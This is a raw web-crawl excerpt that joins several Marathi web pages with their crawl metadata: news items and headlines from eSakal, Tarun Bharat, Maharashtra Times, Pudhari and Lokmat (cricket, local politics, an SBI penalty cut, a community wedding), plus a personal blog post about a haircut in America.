कुणी तरी आपल्या पाठीवर हात ठेवून आपल्याला धीर दिला तरी आपण दुसऱ्या दिवशी नव्या जोमाने समस्येला सामोरे जाऊ शकतो.\nआपली संस्कृती पूर्वी तशीच होतीही. प्रत्येकासाठी कुणीतरी नक्कीच होतं; परंतु आज आपण इतके एकलकोंडे झालो आहोत की एक भाऊ दुसऱ्या भावाला आपली समस्या सांगायला धजत नाही. कुठं खोटी प्रतिष्ठा; तर कुठे शंका, पण परिणाम मात्र एकच- आपण सगळे आपापल्या समस्येखाली दबून जातो.\nमाझा मुलगा नापास झाला, हे सांगायला लाज वाटते आहे, म्हणून पालक आपल्या नातेवाइकांशी खोटं बोलतात. मुलीचं प्रेमप्रकरण आहे हे कुणाला कळू नये, या भीतीपोटी पालक आपल्याच मुलीला त्रास देतात. माझं काम खूप चांगलं सुरू आहे, हे दाखवण्यासाठी आपण कुणाचाही मौल्यवान सल्ला घेत नाही. काही व्यक्ती मतलबी असू शकतात; पण सगळे तसे नसतात. आपला मुलगा अभ्यास न केल्यामुळे नापास झाला, याची लोकांनी चर्चा केली तरी काय हरकत आहे ती गोष्ट खरीच आहे ना ती गोष्ट खरीच आहे ना मग लपवून उगाच उसनं अवसान आणून सतत तणावाखाली का जगतो आपण\nकुणाशी तरी बोला आणि त्यांचा आधार किंवा मदत मागितली तर लगेच तुम्ही दुबळे होत नाही. मदत चारही बाजूंना आहे, फक्त ती मागण्याची तुमची तयारी हवी.\nAsia Cup 2018 : शिखर, रोहितने पाकला धुतले; भारत अंतिम फेरीत\nदुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी पाठलाग करत भारतीय संघाने सामना जिंकत अंतिम सामन्यात दिमाखात प्रवेश केला. रोहित शर्मा आणि शिखर धवन...\nAsia Cup : पाकचा पुन्हा बीमोड करण्यास भारत सज्ज\nदुबई- साखळी स्पर्धेत भारताकडून सपाटून मार खाल्लेला पाकिस्तान क्रिकेट संघ सुपर फोर साखळीत रोहित शर्माच्या संघावर पलटवार करण्याच्या तयारीत आहे. पहिल्या...\nराजे उमाजी नाईक हे आद्य क्रांतिकारक - हर्षवर्धन पाटील\nइंदापूर - भारताला स्वातंत्र्य मिळवून देण्यासाठी इंग्रजाविरुद्ध लढणारे महाराष्ट्रातील राजे उमाजी नाईक हे आद्य - क्रांतिकारक होते. त्यांच्या...\nखुल्या अर्थव्यवस्थेमुळेच मोठे आर्थिक गैरव्यवहार : विश्‍वास उटगी\nजळगाव : गेल्या काही वर्षांत झालेले आर्थिक गैरव्यवहार हे आपण स्वीकारलेली खुली अर्थव्यवस्था व कुबड्या भांडवलशाहीचा परिणाम आहे. बॅंक, मार्केट...\nयोग, आयुर्वेदातूनच सर्वांगीण आरोग्य - डॉ. अनुराधा भोसले-दिवाण\nकोल्हापूर - ‘‘कुठल्याही डाएटरी हेल्थ सप्लिमेंटच्या मागे न लागता ऋतूनुसार आपापल्या परिसरात ज्या भाज्या, फळे पिकतात, त्यांचा आहारात योग्य वापर करा...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00204.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/agralekh/page/32", "date_download": "2018-09-25T17:47:39Z", "digest": "sha1:ECNUNEVFSFVZOO7CGJP25JPB4ZMKY7VW", "length": 8705, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "संपादकिय / अग्रलेख Archives - Page 32 of 264 - तरुण भारत | तरुण भारत", "raw_content": "\nभागवतात राधेचे नाव का नाही\nराधामाई शुकाला (पोपटाला) कृष्ण मंत्राची मंत्रदीक्षा देत होती, एवढय़ात तेथे भगवान श्रीकृष्ण आले. राधा आद्य संयोजिका आणि आल्हादिका शक्ती आहे. एकाकी जीवाची ती श्रीकृष्णाशी भेट करवून देते. व्रजाची अधिकारी देवी राधाच आहे. म्हणूनच महात्मा लोक वृंदावनात-राधे राधे म्हणत असतात. राधेची कृपा झाल्यावर जीवाला भगवंताचे दर्शन मिळू शकते. तिची कृपाच जीवाची प्रभूशी भेट करविते. राधेच्या कृपेमुळेच शुकाला प्रत्यक्ष प्रभूचे दर्शन ...Full Article\nस्विस बँकेच्या अहवालामुळे मोदी सरकारची गोची\nमतदारांवर प्रभाव पाडण्यासाठी राजकीय नेते अव्वाच्या सव्वा आश्वासने नेहमीच देत असतात. त्यातलेच ‘गरिबी हटावो’चा नारा देणारे स्व. इंदिरा गांधींचे सर्वात प्रसिद्ध आश्वासन. या आश्वासनाने देशातील गरिबी हटली नाही, पण ...Full Article\nपुढील आठवडय़ात संसद अधिवेशन सुरू होत आहे. निवडणूक वर्ष असल्याने सत्ताधारी भाजपला काही मोठय़ा घोषणा करण्याची इच्छा असणार व दुसऱया बाजूने काँग्रेससह इतर सर्व राजकीय पक्ष संसदेचे कामकाज कोणत्याही ...Full Article\nवारी आली की स्मरणरंजनाच्या भावना जागतात. आईची आई स्वतः अभंग रचायची. प्रा. र. बा. मंचरकरांनी तिचे अभंग संपादित केले होते. वडिलांची आई देखील नियमित वारीला जाई. वारीच्या आठवणींशी या ...Full Article\nश्रीमद्भागवत हा ग्रंथ म्हणजे भगवान शुकदेव आणि राजा परिक्षिती यांच्यातील संवाद आहे. आपण हे कधीही विसरता कामा नये की श्रीकृष्णाच्या लीलांचे वर्णन राजा परिक्षितीजवळ करणारे दुसरे तिसरे कोणी नसून ...Full Article\nसंपूर्ण महाराष्ट्रात मोसमी पाऊस सक्रीय झाला आह़े किनारपट्टीपासून विदर्भापर्यंत सगळीकडेच तो जोरदार सुरू आह़े यातच पावसाळी पर्यटनाला आणि साहसी पर्यटनाला उत्साही लोकांकडून मोठा प्रतिसाद मिळत आह़े यातील जोखीम लक्षात ...Full Article\nखूप दिवसानंतर सहलीच्या निमित्ताने सारे ‘फॅमिली फ्रेंड्स’ एकत्र आलो होतो. प्रवास सुरू होता. गाडीमध्ये गप्पा, थट्टा-मस्करी, हशा हे सारं सुरू होतं. गप्पा अगदी रंगल्या होत्या. एकमेकांवर ‘शाब्दिक कुरघोडी’ सुरू ...Full Article\nगेल्या दोन दिवसात दोन महत्त्वाच्या घटनांची चर्चा आहे. एक, देशात सर्वत्र शरियत न्यायालयांच्या स्थापनेची मुस्लीम व्यक्तिगत कायदा मंडळाची योजना व दुसरी ताजमहालाच्या परिसरातील नमाजासंबंधी सर्वोच्च न्यायालयाने दिलेला निकाल. वास्तविक ...Full Article\nइंग्लंडची एक बातमी वाचली. त्यांची राणी आता ब्याण्णव वर्षांची झाली आहे. वयानुरूप आजारी वगैरे असते. पिकलं पान आहे. “मी काय बाई, पिकलं पान, केव्हाही गळेन. आज आहे, उद्या नसेन,’’ ...Full Article\nआपल्या सासरच्या घरात आता या अपरात्री प्रवेश कसा करावा हा प्रश्न तुलसीदासांना पडला. त्याचवेळी त्यांचे लक्ष वरच्या मजल्यावरील खोलीच्या खिडकीकडे गेले. त्या खिडकीमधून खाली एक जाडजूड दोर लोंबकळत असलेला ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00204.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/maharashtra/nagpur-vidarbha-news/amravati/articlelist/47583249.cms?curpg=10", "date_download": "2018-09-25T18:08:01Z", "digest": "sha1:6XP2MUPSKI7ZRYR6HYZOE6CASXB2NEFH", "length": 8879, "nlines": 147, "source_domain": "maharashtratimes.indiatimes.com", "title": "Page 10- Amravati News in Marathi, अमरावती न्यूज़, Latest Amravati News Headlines", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\n​ बहुजनांच्या हक्कासाठी निघाला क्रांती मोर्चा\nसमाजातील बहुजनांना त्यांचे हक्क मिळवून देण्यासोबतच त्यांच्यावरील अन्यायाला वाचा फोडण्यासाठी बहुजन क्रांती मोर्चाच्यावतीने मंगळवारी जिल्हाधिकारी कार्यालयावर मोर्चा काढण्यात आला. विविध संघटना, जाती, धर...\nशिक्षकांना ऑनलाइन हजेरी सक्तीचीUpdated: Jan 11, 2017, 04.00AM IST\nनगरसेवकांनी केली नगरपंचायतची ‘चौदावी’Updated: Jan 8, 2017, 04.30AM IST\nमुख्यमंत्र्यांच्या जिल्ह्यात आज घमासानUpdated: Jan 8, 2017, 04.30AM IST\nभाजपविरोधात घटकपक्षांचा दबावगटUpdated: Jan 8, 2017, 04.30AM IST\nबदलासाठी भाजपला साथ द्या ः मुख्यमंत्रीUpdated: Jan 7, 2017, 04.30AM IST\nरक्तदानाने प्रहारच्या आंदोलनांची सांगताUpdated: Jan 7, 2017, 04.30AM IST\nचंद्रपुरात तीन मोर्चे, गटबाजीचे प्रदर्शनUpdated: Jan 7, 2017, 04.30AM IST\n‘शेगाव’चा परिसस्पर्श झालेले निसर्गरम्य गिरडाUpdated: Jan 7, 2017, 04.30AM IST\nगृहराज्यमंत्र्यांना भूम‌िपुत्रांचे आव्हानUpdated: Jan 6, 2017, 04.30AM IST\nप्रहारच्या ‘नांगर मोर्चा’वर लाठीमारUpdated: Jan 6, 2017, 04.30AM IST\nमोदींच्या विकासस्वप्नाला साथUpdated: Jan 6, 2017, 04.30AM IST\nनोटबंदी हा फसलेला कार्यक्रम ः चव्हाणUpdated: Jan 6, 2017, 04.30AM IST\nमुख्यमंत्र्यांच्या मामेभावावर शिस्तभंगाची कारवाईUpdated: Jan 4, 2017, 08.42AM IST\nटीव्ही मालिकांचा 'मुलांत जीव रंगला'\n...आणि कुत्र्यानं बिबट्याला पिटाळून लावलं\nकोची: ५ वर्षाच्या मुलीने चालवली बाइक, वडिलांच...\nफेक अॅप 'असे' ओळखा\nमुंबईत लगबग बाप्पांच्या आगमनाची\nदानवेंना बच्चू कडूंचं आव्हान, जालन्यातून लढणार\n५वीच्या पुस्तकात छत्रपती शिवरायांचा अपमान\nचंद्रात दिसले साईबाबा; मुंबईत अफवांचा बाजार\nGanpati Visarjan: मुंबईत निच्चांकी ध्वनी प्रदूषण\nमूर्ती पडून १९ जखमी\nप्राध्यापकांचा संप; महाविद्यालयांमध्ये शुकशुकाट\nरुग्णांचे कपडे न मिळाल्याने ४० शस्त्रक्रिया रद्द\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00204.warc.wet.gz", "language": "mr", "language_score": 0.62, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2010/06/blog-post.html", "date_download": "2018-09-25T17:48:29Z", "digest": "sha1:DCZVFFWUZWGPUZTSSOY4MVB3WQUA2UXL", "length": 11769, "nlines": 63, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: अमेरिकन हेअरकट च्या निमित्ताने ...", "raw_content": "\nअमेरिकन हेअरकट च्या निमित्ताने ...\nकाल इथे मेमोरिअल डे म्हणजे सैनिक-स्मृतिदिन होता. त्यामुळे सुटी होती. त्यामुळे शिल्लक राहिलेली कामे करायची होती. पैकी एक काम म्हणजे केस कापणे. मिशिगनला असतात विद्यार्थी(दशेत) असताना पैसे नसताना तुझी आईच घरी मशीन आणुन चकट्फु केस कापत असे. आताशा बाहेर जाऊन कापतो. असो ... तर केस कापायला गेलो. दुकानात एक १७-१८ वर्षांची मुलगी होती. इकडे केस कापण्याच्या दुकानात बऱ्याचदा स्त्रीयाच असतात. याचे कारण असे की पैसे इथे खूप कमी असतात - तासाला ६-७ डॉलर्स. एकंदरीतच अमेरिकेतही स्त्रीयांना पुरुषांपेक्षा वीसेक टक्के कमी पगार मिळतो. सो मच फॉर डिव्हेलप्ड वर्ल्ड असो ... परंतु त्यावरुन आठवले ... पुणे विद्यापीठात एमसीए करत असताना आमच्या वर्गात टीपी (थेलकट प्रदीप ऊर्फ टेन्शन पर्सॉनिफाईड ) नावाची एक \"व्यक्ती कमी आणि वल्ली जास्त\" होती. हा मुळचा मल्याळी परंतु दिल्लीला स्थायिक झाल्यामुळे अगदी दिल्लीचा झाला होता. सध्या न्युयॉर्क मध्ये कुठल्यातरी बॅन्केत काम करतो. तो पूर्वी एकदा भारतात-दिल्लीला गेला तेव्हा तिथे केस कापायला गेला होता. तिथला न्हावी काम करता करता याला म्हणतो \"साहिब उधर बाल काटनेके दस डॉलर्स देने पडते है असो ... परंतु त्यावरुन आठवले ... पुणे विद्यापीठात एमसीए करत असताना आमच्या वर्गात टीपी (थेलकट प्रदीप ऊर्फ टेन्शन पर्सॉनिफाईड ) नावाची एक \"व्यक्ती कमी आणि वल्ली जास्त\" होती. हा मुळचा मल्याळी परंतु दिल्लीला स्थायिक झाल्यामुळे अगदी दिल्लीचा झाला होता. सध्या न्युयॉर्क मध्ये कुठल्यातरी बॅन्केत काम करतो. तो पूर्वी एकदा भारतात-दिल्लीला गेला तेव्हा तिथे केस कापायला गेला होता. तिथला न्हावी काम करता करता याला म्हणतो \"साहिब उधर बाल काटनेके दस डॉलर्स देने पडते है\" - अर्थात मला पण थोडे जास्त पैसे मिळतील का\" - अर्थात मला पण थोडे जास्त पैसे मिळतील का त्यावर हा टीपी म्हणतो - \"अबे उधर लडकी बाल काटती है. वोभी निक्कर (हाफ पॅण्ट) पेहेनके त्यावर हा टीपी म्हणतो - \"अबे उधर लडकी बाल काटती है. वोभी निक्कर (हाफ पॅण्ट) पेहेनके इधर तू बाल काटता है इधर तू बाल काटता है\" माझे वडिल २००३ साली इथे आले तेव्हा पुतळ्यासारखे स्तब्ध बसले होते केस कापताना ... तेव्हा आम्ही त्यांची चांगलीच टर उडवली होती. असो ...\nअशीच दुसरी एक गोष्ट आठवली म्हणुन सांगतो. १९९७ साली ऑक्टोबरमध्ये मी ऑस्ट्रेलियामधुन भारतात परत येत होतो. ऍडलेडमध्ये आमचा एक प्रोजेक्ट पूर्ण करुन स्वारी भारतात येण्यासाठी विमानतळावर निघाली. तर टॅक्सीवाली म्हणजे एक ऑस्ट्रेलिअन बसंती भेटली. त्यावेळी मी जेमतेम २४ वर्षांचा होतो. जग काहीच पाहिले नव्हते आणि भारतातील आपल्या संस्कृती, चालीरीती आणि इतर गोष्टींचा पगडा असलेले मन होते. आपल्या उच्च नीचतेच्या कल्पना आणि त्यात पुन्हा स्त्री टॅक्सी चालवते म्हणल्यावर माझ्या मनात चलबिचल झालेली. परंतु मी सहजतेचा आव आणत तिच्याशी वीस मिनिटांच्या अंतरामध्ये संभाषण साधले. ती पूर्वी माध्यमिक शाळेत मध्ये शिक्षिका होती. परंतु तिथे पैसे पुरेसे मिळेनात (जगभर शिक्षकांची परवडच आहे म्हणायची) म्हणुन टॅक्सी चालवु लागली. त्यावर मी तिला सांगीतले की माझी पण आई शिक्षिका आहे. बऱ्याच गप्पा मारल्या गाडी चालवता चालवता तिच्याशी. अखेरिस विमानतळावर पोचलो. उतरता उतरता मी तिला म्हणालो ... \"इन इंडिया यु विल नेव्हर सी विमेन ड्रायव्हिंग अ टॅक्सी\". त्यावर तिने दिलेले उत्तर माझ्या कायमचे स्मरणात राहिल. ती म्हणाली \"यु विल सी इन्डिअन विमेन नॉट डूईंग मेनी थिन्ग्ज\" आहे की नाही खरे\" आहे की नाही खरे\nअसो ... तर त्या केस कापायच्या दुकानात गेलो तेव्हा हे सगळे विचार आले मनात. त्या मुलीने चांगले केस कापले. गाणी गुणगुणत आणि अगदी आनंदात. शेवटी मी तिला म्हणालो \"यु डिड अ गुड जॉब\" त्यावर ती मला म्हणते \"थॅन्क्यु\" \"यु शुड टेक प्राईड इन व्हॉट यु डु\" मला कौतुक वाटले.\nअमेरिकेतील तरुण मुले मुली अशी दुकानांमधुन कामे करुन पोट भरतात आणि स्वत:चे शिक्षण करतात. खूप कमी मुलामुलींना पालक कॉलेजमध्ये पाठवु शकतात कारण खर्च साधारणत: ३०-४० हजार डॉलर्स वर्षाला असतो. त्यामुळे मुले मुली १६ वर्षांची झाली की वेगळी होतात आणि आपले आयुष्या आपण घडवतात. भारतीय समाज अपवाद इथे मात्र मुलांना पालकांचा पूर्ण आधार असतो. अगदी वैद्यकीय शिक्षणदेखील पालकांच्या बचतीतुन करणारी मुले भारतीय समाजात दिसतात.\nकधी कधी वयाने जास्त मंडळी तरुण पिढीच्या नावाने खडे फोडतात. परंतु मला अमेरिकेतल्या किंवा भारतातल्या देखील तरुण पिढीबद्दल आशाच वाटते. कमीत कमी नैराश्य कधीच नाही वाटले. प्रत्येक पिढीचे प्रश्न वेगळे असतात, परिस्थीती वेगळी असते. त्यामुळे कोणी कोणावर काहीही मतप्रदर्शन करण्याची गरज नाही. अमेरिकेतील तरुण पिढीच्या भवितव्याबद्दल काहीसे प्रश्नचिन्ह आहे. शिक्षण नाही, नोकऱ्या नाहीत आणि अमेरिकेची ताकत घसरणीला लागलेली ... त्यामुळे तरुण पिढी चिंताग्रस्त आहे. त्याऊलट इथली बेबी-बूमर्स पिढी (अर्थात दुसऱ्या महायुद्धानंतर जन्मलेली पहिली पिढी) अगदी सुखात आहे. आपल्याकडे उलटे चित्र आहे. आमच्या आईवडिलांच्या पिढीने बऱ्याच खस्ता खाल्या. परंतु आमच्या पिढीला नक्कीच बरे दिवस आले. आणि आता तुमच्या पिढ्यांनादेखील भारताचा भविष्यकाळ अधिकाधिक प्रगतीचाच दिसतो आहे .... असो ... तो खूप मोठा विषय होईल... आज इथे थांबतो.\nफोटो नाही लावला केस कापण्यापुर्वी आणि नंतरचा\nरावणाची सुसु आणि मुनलाईट सोनाटा \nअमेरिकन हेअरकट च्या निमित्ताने ...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00205.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/common-wedding-gurav-community-dhule-43926", "date_download": "2018-09-25T17:46:13Z", "digest": "sha1:PTYXINWBNYVK5PZPZIFK6N3ZUYZQ6RQW", "length": 12335, "nlines": 176, "source_domain": "www.esakal.com", "title": "Common wedding of Gurav community in Dhule गुरव समाजाचा सामूहिक विवाह सोहळा थाटात | eSakal", "raw_content": "\nगुरव समाजाचा सामूहिक विवाह सोहळा थाटात\nसोमवार, 8 मे 2017\nधुळे - गुरव समाजाचा पहिला सामुदायिक विवाह सोहळा आज येथे थाटात झाला. या पहिल्या-वहिल्या सामुदायिक सोहळ्यात चार जोडपी विवाहबद्ध झाली. समाजातील मान्यवरांसह नागरिक मोठ्या संख्येने उपस्थित होते.\nधुळे - गुरव समाजाचा पहिला सामुदायिक विवाह सोहळा आज येथे थाटात झाला. या पहिल्या-वहिल्या सामुदायिक सोहळ्यात चार जोडपी विवाहबद्ध झाली. समाजातील मान्यवरांसह नागरिक मोठ्या संख्येने उपस्थित होते.\nधुळे जिल्हा गुरव समाज संपर्क विकास मंडळातर्फे आज धुळ्यात एकवीरादेवी मंदिर परिसरात गुरव समाजाचा पहिला सामुदायिक विवाह सोहळा झाला. महापौर कल्पना महाले, सोलापूर येथील अपर्णा रामतीर्थकर, शिवसेनेचे जिल्हाप्रमुख हिलाल माळी, महानगरप्रमुख सतीश महाले, मनपाचे स्थायी सभापती कैलास चौधरी, नगरसेवक चंद्रकांत सोनार, गुलाब माळी, मंडळाचे संस्थापक अध्यक्ष शशिकांत सूर्यवंशी, मधुकर गुरव, भीमराव गुरव, सोमनाथ गुरव, सुनील गुरव, राजेश गुरव, भटू गुरव, विनायक गुरव, हेमंत गुरव, राकेश गुरव आदी उपस्थित होते.\nसामुदायिक विवाह सोहळ्यात चार जोडपी विवाहबद्ध झाली. या विवाहित जोडप्यांना समाजातील दानशूरांनी दागिने तसेच संसारोपयोगी वस्तूंची विवाह भेट दिली. यात प्रत्येक वधूला एक ग्रॅम सोन्याचे मणी- मंगळसूत्र व प्रत्येकी एक पलंग, गॅस शेगडी, स्टील रॅक, कपाट, पाच प्रकारची भांडी आदींचा समावेश होता.\nविवाह सोहळ्यात नाशिक येथील किरण गुरव यांनी यापुढे समाजाचे असे सामुदायिक विवाह सोहळे झाले, तर अशा सोहळ्याला दर वर्षी ३१ हजार रुपये देणगी देण्याचे जाहीर केले. मालेगाव येथील ‘आरटीओ’ सुनील गुरव यांनी विवाहित चारही जोडप्यांना सप्तशृंगगडाच्या सहलीचा खर्च देण्याचे जाहीर केले.\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nशेतकऱ्यांची बाजार समितीबद्दलची विश्वासार्हता वाढली : समाधान आवताडे\nमंगळवेढा : दुष्काळसदृष्य तालुक्यातील शेतकऱ्यांच्या अडचणी ओळखून कृषी उत्पन्न बाजार समितीने शेतकर्‍यांसाठी अनेक हिताच्या योजना राहिल्याने...\nओतूरला सहा ट्रॉली निर्माल्याचे संकलन\nओतूर - ता.जुन्नर येथे गणेशोत्सवा दरम्यान आयोजित निर्माल्य संकलन उपक्रमास नागरकांकडून मोठा प्रतिसाद मिळाला असुन गणपती विसर्जन काळात तब्बल सहा ट्रॉली...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00205.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/SBI-slashes-charges-upto-75-on-non-maintenance-of-average-monthly-balance-in-savings-accounts/", "date_download": "2018-09-25T17:51:46Z", "digest": "sha1:BCGBUTE5CQZBZDMZBZLFRH6UCNFHSBFK", "length": 6325, "nlines": 39, "source_domain": "www.pudhari.news", "title": " SBIचा ग्राहकांना दिलासा; पण GSTने... | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › SBIचा ग्राहकांना दिलासा; पण GSTने...\nSBIचा ग्राहकांना दिलासा; पण GSTने...\nनवी दिल्ली : पुढारी ऑनलाईन\nदेशातील सर्वात मोठी सार्वजनिक बँक असलेल्या स्टेट बँक ऑफ इंडियाने खातेदारांना मोठा दिलासा दिला आहे. ग्राहकांनी बचत खात्यात महिन्याला किमान रक्कम न ठेवल्यास होणाऱ्या दंडात बँकेने जवळ जवळ 72 टक्क्यांनी कपात केली आहे. याचा फायदा बँकेच्या 25 कोटी ग्राहकांना होणार आहे. नवे नियम 1 एप्रिल 2018पासून लागू होणार आहेत. अनेक ग्राहकांनी केलेल्या सूचनेनंतर हा निर्णय घेतल्याचे बँकेने म्हटले आहे.\nकोणाला किती दिलासा मिळणार\nआतापर्यंत महानगर आणि शहरातील खातेधारकांनी महिन्याला किमान रक्कम न ठेवल्यास 50 रुपये दंड केला जात होता. एक एप्रिलपासून तो 15 रुपये इतका असेल. त्याच बरोबर निम-शहरी भागातील ग्राहकांना 40 ऐवजी 12 रुपये दंड केला जाईल. अर्थात या दंडाच्या रक्कमेसोबत 10 रुपये जीएसटी देखील द्यावा लागणार आहे. त्यामुळे महानगर आणि शहरी भागातील ग्राहकांनी खात्यात किमान रक्कम न ठेवल्यास त्यांना महिन्याला 25 रुपये दंड होईल.\nबचत खात्यात किती रक्कम ठेवावी लागते\nजर तुमचे खाते महानगरातील बँकेच्या शाखेत असेल तर तुमच्या खात्यात किमान 3 हजार रुपये ठेवणे आवश्यक आहे. याआधी सप्टेंबर 2017पर्यंत ही रक्कम 5 हजार इतकी होती. शहरी भागातील खातेधारकांना 3 हजारच किमान रक्कम ठेवावी लागेल. तर निम-शहरी आणि ग्रामीण भागातील खातेधारकांना अनुक्रमे 2 हजार व एक हजार किमान रक्कम खात्यात ठेवावी लागेल.\nमोठ्या प्रमाणावर झाली होती टीका\nखात्यांमध्ये किमान रक्कम न ठेवल्याबद्दल बँकेने केवळ 8 महिन्यात 1 हजार 771 कोटी रक्कम दंड म्हणून वसूल केली होती. ही माहिती समोर आल्यानंतर बँकेवर सर्व बाजूंनी टीका झाली होती. कारण दंडाची रक्कम ही बँकेला जुलै ते सप्टेंबर महिन्यात झालेल्या नफ्यापेक्षा (1 हजार 581.55 कोटी) अधिक तर एप्रिल आणि सप्टेंबर या सहा महिन्यात झालेल्या निव्वळ नफ्याच्या (3 हजार 586 कोटी) अर्धी इतकी होती.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00205.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/lifestyle/know-top-10-business-leader-success-mantras-can-make-you-rich-297970.html", "date_download": "2018-09-25T16:51:19Z", "digest": "sha1:6TPOWBPPZFTIBY2XCNOVQTGQVB4O37VC", "length": 1648, "nlines": 23, "source_domain": "lokmat.news18.com", "title": "Lokmat News - PHOTOS: जगातले १० श्रीमंत लोक रोज करतात ही कामं–News18 Lokmat", "raw_content": "\nPHOTOS: जगातले १० श्रीमंत लोक रोज करतात ही कामं\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": 